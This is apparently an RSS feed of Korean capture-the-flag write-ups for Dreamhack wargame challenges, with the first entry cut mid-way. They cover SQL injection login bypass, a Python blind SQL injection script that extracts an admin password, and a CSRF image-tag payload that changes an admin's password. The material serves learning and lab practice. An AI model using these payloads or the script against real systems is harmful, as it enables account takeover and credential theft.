&lt;p data-ke-size=&quot;size14&quot;&gt;`POST /login` 요청 시 다음 코드가 동작한다.&lt;/p&gt;
&lt;pre id=&quot;code_1716686247316&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userid = request.form.get('userid')
        userpassword = request.form.get('userpassword')
        res = query_db(f'select * from users where userid=&quot;{userid}&quot; and userpassword=&quot;{userpassword}&quot;')
        if res:
            userid = res[0]
            if userid == 'admin':
                return f'hello {userid} flag is {FLAG}'
            return f'&amp;lt;script&amp;gt;alert(&quot;hello {userid}&quot;);history.go(-1);&amp;lt;/script&amp;gt;'
        return '&amp;lt;script&amp;gt;alert(&quot;wrong&quot;);history.go(-1);&amp;lt;/script&amp;gt;'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`userid`, `userpassword` 값은 그대로 DB 쿼리문을 생성하는 데 사용된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`query_db()` 함수는 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1716686613205&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ef query_db(query, one=True):
    cur = get_db().execute(query)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;DB 커넥션을 얻어와 쿼리를 실행하고, 그 결과를 반환한다. `POST /login`으로 HTTP 요청 시 WHERE 절 이하의 조건과 일치하는 모든 행을 조회하고, 쿼리 결과의 첫 번째 행을 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;따라서 입력으로 받은 `userid`와 `userpassword`의 값이 일치하는 경우 해당 유저는 로그인 처리된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;취약점&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;유저의 입력으로 받은 값을 그대로 이용해 SQL을 생성하고, 생성된 SQL을 그대로 사용해 DB에 질의하므로 유저 입력으로 인해 SQL이 손상될 가능성이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;풀이&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;두 가지 방법을 생각해볼 수 있다. 로그인 자체를 우회하는 방법과 admin 계정의 비밀번호를 알아내 로그인하는 방법이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;먼저 로그인 자체를 우회하는 방법은 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;WHERE 절 이하의 조건을 만족하는 테이블 로우를 조회할 수 있으므로 아래와 같은 SQL을 쿼리하면 `userid == 'admin'`인 로우를 조회할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1716687918438&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;res = query_db(f'select * from users where userid=&quot;{userid}&quot; and userpassword=&quot;{userpassword}&quot;')&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1716687345795&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SELECT * FROM users WHERE userid = 'admin';&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;SQL WHERE 절의 두번째 조건을 무효처리 되도록 `userid`의 입력값을 조작했다.&lt;/p&gt;
&lt;pre id=&quot;code_1716687453338&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SELECT * FROM users WHERE userid = 'admin'; -- AND userpassword = '';&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1716687739366&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;res = query_db(f'select * from users where userid=&quot;admin&quot;;--&quot; and userpassword=&quot;&quot;')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;두 번째 조건이 무효 처리되도록 하는 방법 외에도 OR 조건을 추가해 WHERE 절을 참으로 만들 수도 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1716688066446&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SELECT * FROM users WHERE userid = 'admin' OR 1 = 1 AND userpassword='pw';&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1716688104659&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;res = query_db(f'select * from users where userid=&quot;admin&quot; or &quot;1&quot; = &quot;1&quot; and userpassword=&quot;pw&quot;')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;다른 방법은 Blind SQL Injection 공격을 수행해 admin 유저의 실제 비밀번호 값을 알아내 로그인하는 것이다. DB의 인코딩 방식이 ASCII일 때는 128개의 문자에 대해서만 탐색하면 된다. 만약 인코딩이 UTF-8이라면 가용한 문자 집합이 더 크기 때문에 단순히 브루트 포스 방식으로는 어려울 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;인쇄 가능한 문자 범위는 32 - 126이다. 총 94개의 문자가 비밀번호의 각 자리에 들어갈 수 있다. 시도해야 하는 공격 횟수는 비밀번호 자릿수는 `94^자릿수`에 해당하므로 admin 계정의 비밀번호의 실제 자릿수를 우선 알아낸 다음 Blind SQL Injection을 시도한다.&lt;/p&gt;
&lt;pre id=&quot;code_1716707736036&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import requests

class BlindSQLi:

    #initialization
    def __init__(self, port: str) -&amp;gt; None:
        self._url = f&quot;http://host3.dreamhack.games:{port}/login&quot;

    # Base HTTP Methods
    def _login(self, userid:  str, userpassword: str) -&amp;gt; bool:
        login_data = {
            &quot;userid&quot;: userid,
            &quot;userpassword&quot;: userpassword
        }
        res = requests.post(self._url, data=login_data)
        return res
    
    # SQLi Method
    def _sqli(self, query: str) -&amp;gt; requests.Response:
        res = self._login(f'&quot; or {query}-- ', &quot;x&quot;)      # 로그인 form 입력값
        return res
    
    # Find Password Length
    def _binary_search(self, query_base: str, start: int, end: int) -&amp;gt; int:
        while 1:
            mid = (start + end) // 2
            if start + 1 &amp;gt;= end:
                break
            query = query_base.format(value = mid)
            print(query)
            if &quot;hello&quot; in self._sqli(query).text:
                end = mid
            else:
                start = mid

        return mid
    
    # Get Password Length
    def _find_password_length(self, user: str, max_length: int = 100) -&amp;gt; int:
        query = f'((SELECT LENGTH(userpassword) WHERE userid=&quot;{user}&quot;) &amp;lt; {{value}})'
        pw_lenfth = self._binary_search(query, 0, max_length)
        return pw_lenfth
    
    def _find_password(self, user: str, pw_length: int) -&amp;gt; str:
        pw = &quot;&quot;
        for idx in range(1, pw_length + 1):
            query_base = f'(SELECT SUBSTR(userpassword, {idx}, 1) WHERE userid=&quot;{user}&quot;) &amp;lt; CHAR({{value}})'
            pw += chr(self._binary_search(query_base, 32, 126))
            print(f&quot;{idx}: {pw}&quot;)

    def attack(self) -&amp;gt; None:
        # Get Password Length
        pw_length = self._find_password_length(&quot;admin&quot;)
        print(f&quot;Admin Password Length: {pw_length}&quot;)

        # Attack Bline SQLi
        pw = self._find_password(&quot;admin&quot;, pw_length)
        print(f&quot;Admin Password: {pw}&quot;)


if __name__ == &quot;__main__&quot;:
    port = &quot;21630&quot;	# PORT
    bsqli = BlindSQLi(port)
    bsqli.attack()&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Wargame/Dreamhack</category>
      <category>Dreamhack</category>
      <category>sql injection</category>
      <category>WEB</category>
      <author>장일영</author>
      <guid isPermaLink="true">https://oxahex.tistory.com/58</guid>
      <comments>https://oxahex.tistory.com/58#entry58comment</comments>
      <pubDate>Sun, 26 May 2024 16:16:36 +0900</pubDate>
    </item>
    <item>
      <title>csrf-2</title>
      <link>https://oxahex.tistory.com/57</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/269&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;269&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;CSRF 취약점을 이용해 플래그를 획득하세요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;정보&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;화면에서 알 수 있는 정보는 최소 3개의 페이지가 있다는 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-05-24 오후 3.32.35.png&quot; data-origin-width=&quot;2470&quot; data-origin-height=&quot;786&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdkUkK/btsHB6DmuBg/C1N60CakyTTYPhcXNuliH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdkUkK/btsHB6DmuBg/C1N60CakyTTYPhcXNuliH0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdkUkK/btsHB6DmuBg/C1N60CakyTTYPhcXNuliH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdkUkK%2FbtsHB6DmuBg%2FC1N60CakyTTYPhcXNuliH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2470&quot; height=&quot;786&quot; data-filename=&quot;스크린샷 2024-05-24 오후 3.32.35.png&quot; data-origin-width=&quot;2470&quot; data-origin-height=&quot;786&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;vuln(csrf) page 이동 시 쿼리 파라미터의 스크립트가 일부 치환된다.&lt;/li&gt;
&lt;li&gt;flag 페이지에서는`POST /flag`로 form 데이터를 전송할 수 있다.&lt;/li&gt;
&lt;li&gt;login 페이지에서는 `POST /login`으로 form 데이터를 전송할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;코드를 통해 각 페이지의 동작을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;우선 다음 두 객체는 전역에서 접근이 가능하다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1716534366247&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;users = {
    'guest': 'guest',
    'admin': FLAG
}

session_storage = {}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;추측하자면 `session_storage`는 아마 서버측에서 관리하는 세션 정보 DB의 미니 버전인 것 같고, `users`는 유저 DB의 미니 버전인 것 같다. 물론 누구도 이렇게 데이터를 관리하지 않겠지만...&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`GET /` 요청 시 동작하는 서버 측 코드는 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1716532591130&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/&quot;)
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    return render_template('index.html', text=f'Hello {username}, {&quot;flag is &quot; + FLAG if username == &quot;admin&quot; else &quot;you are not an admin&quot;}')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;클라이언트의 쿠키에서 `sessionid`를 가져온다. 서버 내부의 `session_storage`에서 저장된 세션 정보를 가져와 `username` 변수에 할당한다. `session_storage`는 서버에 전역으로 선언된 Dictionary다. `session_storage`에 저장된 `sessionid`가 없다면 `KeyError`를 던지고, `/` 페이지에서 'plase login' 텍스트가 출력된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;만약 저장된 `sessionid`가 있는 경우 `/` 페이지에 `username`을 출력한다. 다만 `username == &quot;admin&quot;` 조건을 만족하는 경우에 플래그가 출력된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`GET /vuln` 요청 시 동작하는 서버 측 코드는 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1716533101773&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/vuln&quot;)
def vuln():
    param = request.args.get(&quot;param&quot;, &quot;&quot;).lower()
    xss_filter = [&quot;frame&quot;, &quot;script&quot;, &quot;on&quot;]
    for _ in xss_filter:
        param = param.replace(_, &quot;*&quot;)
    return param&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;쿼리 파라미터 값을 모두 소문자로 변경하고 `xss_filter`에 포함된 문자열을 `*`로 치환한다. 그 외의 경우, `text/html` 형태로 문자열을 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`GET /flag`, `POST /flag` 요청 시 동작하는 서버 측 코드는 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1716533196410&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/flag&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def flag():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;flag.html&quot;)
    elif request.method == &quot;POST&quot;:
        param = request.form.get(&quot;param&quot;, &quot;&quot;)
        session_id = os.urandom(16).hex()
        session_storage[session_id] = 'admin'
        if not check_csrf(param, {&quot;name&quot;:&quot;sessionid&quot;, &quot;value&quot;: session_id}):
            return '&amp;lt;script&amp;gt;alert(&quot;wrong??&quot;);history.go(-1);&amp;lt;/script&amp;gt;'

        return '&amp;lt;script&amp;gt;alert(&quot;good&quot;);history.go(-1);&amp;lt;/script&amp;gt;'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`GET /flag` 요청의 경우 `flag.html` 파일을 렌더링해 응답한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`POST /flag` 요청의 경우 쿼리 파라미터(`param`) 값으로 16바이트의 바이트 문자열을 생성한다. 생성된 바이트 객체를 16진수 문자열로 변환해 `session_id`에 할당한다. 이렇게 생성된 `session_id`는 `session_storage`에 저장된다. 생성된 16진수 문자열이 Key가 되고, 'admin`이 Value가 된다. 이후 `check_csrf()` 함수가 실행되고, 결과적으로 'admin' 유저의 `session_id`가 쿠키 값으로 넘어간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`check_csrf()` 함수는 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1716534003316&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;def check_csrf(param, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    url = f&quot;http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}&quot;
    return read_url(url, cookie)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`/flag` 페이지에서 입력 받은 값을 쿼리 파라미터로 URL을 생성한다. `read_url()` 함수는 `url`과 `cookie` 두 개의 파라미터를 갖는데, `/flag` 페이지를 통해 `/vuln` 페이지에 접근하는 경우 쿠키 값은 디폴트 값으로 넘어간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`GET /login`, `POST /login` 요청 시 동작하는 서버 측 코드는 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1716534130450&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '&amp;lt;script&amp;gt;alert(&quot;not found user&quot;);history.go(-1);&amp;lt;/script&amp;gt;'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '&amp;lt;script&amp;gt;alert(&quot;wrong password&quot;);history.go(-1);&amp;lt;/script&amp;gt;'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`GET /login` 요청 시 `login.html` 파일을 렌더링해 응답한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`POST /login` 요청 시 사용자가 입력한 form 데이터로 로그인을 시도한다. 서버에서 관리하고 있는 `users`를 참조해 `username` Key로 접근 가능한 Value를 `pw`에 할당한다. 현재 서버에서 관리하고 있는 사용자는 'guest'와 'admin' 뿐이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;다음으로 서버에 저장된 비밀번호 값과 유저가 입력한 `password` 값을 비교한다. 이 값이 일치하면 HTTP Response를 생성한다. `/` 페이지로 리다이렉션 처리하되, 8바이트 길이의 바이트 문자열을 생성하고 이를 16진수 문자열로 변환한다. 이 값은 `session_id`에 할당되고, 서버의 `session_storage`에 저장된다. `session_id` 값이 Key가 되고, 현재 로그인에 성공한 사용자의 `username`이 Value가 된다. 결과적으로 로그인에 성공한 클라이언트는 `sessionid`를 쿠키로 들고 있게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;화면에서 확인할 수 없었지만 코드상에서 확인할 수 있는 다른 엔드포인트가 존재한다. `GET /change_password` 요청이 가능하다.&lt;/p&gt;
&lt;pre id=&quot;code_1716535235591&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/change_password&quot;)
def change_password():
    pw = request.args.get(&quot;pw&quot;, &quot;&quot;)
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    users[username] = pw
    return 'Done'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;코드를 보면 기본적으로 서버 측에 저장된 `session_storage`에 클라이언트의 쿠키 값(`session_id`)이 없으면 `/` 페이지로 보낸다. 로그인 되어 있는 유저(`session_id` 쿠키를 들고 있는 클라이언트)의 경우 요청 쿼리 파라미터로 받은 `pw` 값으로 비밀번호를 변경할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;취약점&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`POST /flag` 요청 시점에 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;'admin' 계정의 세션 정보가 생성되고 저장된다. 문제 서버의 취약점은 적절한 권한이 없는 유저가 세션 정보를 생성하고 저장하는 로직을 수행하는 요청에 접근할 수 있다는 것이다. 로그인을 하지 않은 경우에도 `POST /flag` 요청 시 서버 측에 세션 정보가 생성되고 저장된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;`/change_password` 페이지에서 비밀번호를 변경할 때, 클라이언트 쿠키에 저장된 세션 아이디로만 현재 요청을 보낸 사용자를 식별하고 있다. 비밀번호 변경 시 비밀번호를 재확인하는 등의 방어 로직이 없으므로, 이 경우 세션 아이디가 노출되면 누구든 비밀번호를 변경할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;풀이&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`POST /flag`로 form 데이터를 전송하면 서버는 Selenium으로 `/vuln` 페이지에 접속한다. `/vuln` 페이지 접속 시점에 서버는 `session_storage`에 Value가 'admin'인 세션 정보를 가지고 있게 된다. 이 때 `check_csrf()` 함수가 호출되면서 생성된 세션 아이디는 클라이언트 쿠키로 저장된다. 따라서 `/vuln` 페이지에서 `/change_password`에 GET 요청을 하면 클라이언트가 들고 있는 쿠키(세션 아이디) 정보에 해당 하는 사용자의 비밀번호를 변경하게 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1716541906203&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;img src=&quot;/change_password?pw=admin&quot; /&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`/vuln` 페이지에 위의 태그가 포함되면 이미지를 가져오기 위해 브라우저는 `GET /change_password?pw=admin`으로 요청을 보내게 된다. 이 때 요청을 보내는 클라이언트의 쿠키(`sessionid`)는 서버의 `session_storage`에 저장된 'admin' 사용자를 의미하므로 'admin' 사용자의 비밀번호를 변경할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;CSRF 공격이 성공하면 `/login` 페이지에서 admin 계정으로 로그인할 수 있고, `/` 페이지에 플래그가 노출된다.&lt;/p&gt;</description>
      <category>Wargame/Dreamhack</category>
      <category>CSRF</category>
      <category>Dreamhack</category>
      <category>WEB</category>
      <author>장일영</author>
      <guid isPermaLink="true">https://oxahex.tistory.com/57</guid>
      <comments>https://oxahex.tistory.com/57#entry57comment</comments>
      <pubDate>Fri, 24 May 2024 18:20:35 +0900</pubDate>
    </item>
    <item>
      <title>csrf-1</title>
      <link>https://oxahex.tistory.com/56</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/26&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;26&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;CSRF 취약점을 이용해 플래그를 획득하세요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;정보&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;화면에서 알 수 있는 정보는 최소 4개의 페이지가 있다는 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-05-23 오후 5.37.56.png&quot; data-origin-width=&quot;2562&quot; data-origin-height=&quot;650&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ehKMqG/btsHyDQzjUd/0IaqdO2vBBqqoGf5xVx4K1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ehKMqG/btsHyDQzjUd/0IaqdO2vBBqqoGf5xVx4K1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ehKMqG/btsHyDQzjUd/0IaqdO2vBBqqoGf5xVx4K1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FehKMqG%2FbtsHyDQzjUd%2F0IaqdO2vBBqqoGf5xVx4K1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2562&quot; height=&quot;650&quot; data-filename=&quot;스크린샷 2024-05-23 오후 5.37.56.png&quot; data-origin-width=&quot;2562&quot; data-origin-height=&quot;650&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;vuln(csrf) page 이동 시 쿼리 파라미터의 스크립트가 일부 치환된다.&lt;/li&gt;
&lt;li&gt;memo 이동 시 `/memo?memo=hello`에 명시된 쿼리 파라미터가 화면에 출력된다.&lt;/li&gt;
&lt;li&gt;memo 페이지는 반복 접근 시 로그와 같이 쿼리 파라미터의 값이 계속해서 쌓인다.&lt;/li&gt;
&lt;li&gt;notice flag 페이지 진입 시 200 OK가 떨어지지만 `text/html`로 'Access Denied'가 반환된다.&lt;/li&gt;
&lt;li&gt;flag 페이지에서는`POST /flag`로 form 데이터를 전송할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
